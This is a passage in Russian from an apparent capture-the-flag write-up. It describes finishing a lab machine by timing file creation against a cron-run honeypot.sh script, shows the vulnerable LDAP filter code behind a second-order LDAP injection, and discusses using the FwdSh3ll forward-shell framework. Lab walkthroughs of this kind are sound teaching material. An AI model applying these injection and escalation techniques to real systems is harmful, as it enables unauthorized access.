Так как доступ к директории /var/www/html/uploads есть у пользователя apache, но его нет у ldapuser (из-под которого мы сидим в SSH), то нам пригодится тот неудобный шелл, который мы получили в предыдущем разделе.

[ldapuser@ctf backup]$ ls -ld /var/www//html/uploads

drwxr-x--x. 2 apache apache 6 Aug 16 16:12 /var/www//html/uploads

Мы уже выяснили ранее, что скрипт honeypot.sh отрабатывает каждую минуту. Так как, скорее всего, задача выполняется по планировщику cron, то отсчет ведется с началом каждой новой минуты, поэтому нам нужно создать два требуемых для эксплуатации файла, уложившись в окно с :00 по :59. Проверим время и создадим нужные файлы.

Я закончил создание файлов в 16:11:47, уложившись в окно с 16:11:00 по 16:11:59. Через 13 секунд после этого, следя за логом ошибок с помощью tail -f из SSH-сессии, я получил свое сокровище.

На этом машину считаю пройденной.

Эпилог

Оригинальные LDAP-запросы

Получив доступ к файловой системе, я смог посмотреть, как выглядят исходные LDAP-запросы, о структуре которых мы выд��игали столько предположений. Первый запрос из исходников login.php.

$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))"; // Или более наглядно (& (& (objectClass=inetOrgPerson) (uid=$username2) ) (pager=*) )

Второй — из исходников page.php. Именно переменная username2, подконтрольная пользователю веб-ресурса, дала нам возможность провести LDAP-инъекцию второго порядка.

$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2)(|(gidNumber=4)(gidNumber=0)))(pager=*))"; // Или более наглядно (& (& (objectClass=inetOrgPerson) (uid=$username2) (| (gidNumber=4) (gidNumber=0) ) ) (pager=*) )

Общаемся с сервером через FwdSh3ll

FwdSh3ll — мини-фреймворк для генерации и спауна форвард-шеллов, использующий веб-уязвимости. В комментариях к предыдущему прохождению заметили, что «фреймворк давно мертв». Отчасти согласен, однако ничто не мешает ему оставаться отличным примером того, как следовало бы взаимодействовать с сервером, если бы исходящий трафик жестко фильтровался и нам бы не удалось получить реверс-шелл стандартным способом.

Я создал отдельную ветку FwdSh3ll для демонстрации управления этой машиной: из-за того что здесь нет уязвимости как таковой (у нас просто есть «легальная» форма для ввода команд), понадобились небольшие изменения в коде. И хотя в данном случае я не использую концепцию Forward Shell в чистом виде (в этом просто нет необходимости), этот фреймворк позволил мне с комфортом исследовать виртуалку из терминала — в точности как если бы я получил каноничный шелл.

ПОДПИСАТЬСЯ - USBKiller